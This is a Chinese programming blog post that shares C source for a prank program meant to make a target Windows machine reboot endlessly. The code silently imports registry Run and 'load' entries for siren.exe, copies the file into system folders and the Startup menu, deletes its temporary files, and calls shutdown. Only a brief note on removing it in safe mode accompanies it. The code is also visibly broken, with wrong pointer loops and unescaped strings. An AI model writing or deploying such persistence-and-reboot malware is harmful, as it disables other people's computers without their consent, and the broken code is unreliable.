编程小回忆一

最新推荐文章于 2024-10-17 14:38:10 发布

原创最新推荐文章于 2024-10-17 14:38:10 发布 · 394 阅读

0 ·

CC 4.0 BY-SA版权

2014-4月专栏收录该内容

10 篇文章

订阅专栏

本文介绍了一种通过修改注册表使计算机不断重启的恶意程序实现方法。该程序使用C语言编写，通过创建特定的注册表项来实现目标。需要注意的是，这种行为可能导致计算机无法正常使用。

目的：使得目标机器不断的重新启动！

解决的办法：在安全模式下，删掉相关的注册表文件和程序，就行了！至于路径和程序的名字，在源代码里有！

声明：如果你不熟悉注册表的话，还是不要轻易运行！

代码如下：

#include<stdio.h>
#include<stdlib.h>

int function(char * p1 , char * p2 , char * p3 , char * p4)
{

int i ;
FILE  * fp ;

if ( (fp = fopen(p4 , "w")) == NULL){

printf ("文件不能打开！") ;
return 0 ;

}

for (i=0; p1 != '\0'; i++)
fputc (p1 , fp) ;

fputc (' ' , fp) ;
fputc (' ' , fp) ;

for (i=0; p2 != '\0'; i++)
fputc (p2 , fp) ;
fputc (' ' , fp) ;

for (i=0; p3 != '\0'; i++)
fputc (p3 , fp) ;

fputc ('\n' , fp) ;
fputc ('\n' , fp) ;

fclose (fp) ;

return 0 ;

}

int main ( void )
{

int i ;
char rigi1[] = "Windows Registry Editor Version 5.00" ;
char rigi2[] = "[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run]" ;
char rigi3[] = ""siren.exe"="C:\\windows\\siren.exe"" ;
function(rigi1 , rigi2 , rigi3 , "Ping.reg") ;

char rjgi1[] = "Windows Registry Editor Version 5.00" ;
char rjgi2[] = "[HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows]" ;
char rjgi3[] = ""load"="C:\\windows\\system32\\siren.exe"" ;
function(rjgi1 , rjgi2 , rjgi3 , "netstart.reg") ;

system("regedit /s Ping.reg") ;
system("regedit /s netstart.reg") ;
system("copy  Ping.reg C:\windows\Ping.reg") ;
system("copy  netstart.reg C:\windows\system32\netstart.reg") ;
system("del  Ping.reg") ;
system("del  netstart.reg") ;
system("copy siren.exe C:\windows\siren.exe") ;
system("copy siren.exe C:\windows\system32\siren.exe") ;
system("copy siren.exe C:\Documents and Settings\All Users\「开始」菜单\程序\启动\siren.exe") ;

printf ("要学习，不要老是耍游戏，去自习了哈！");
system("shutdown") ;
return 0 ;
}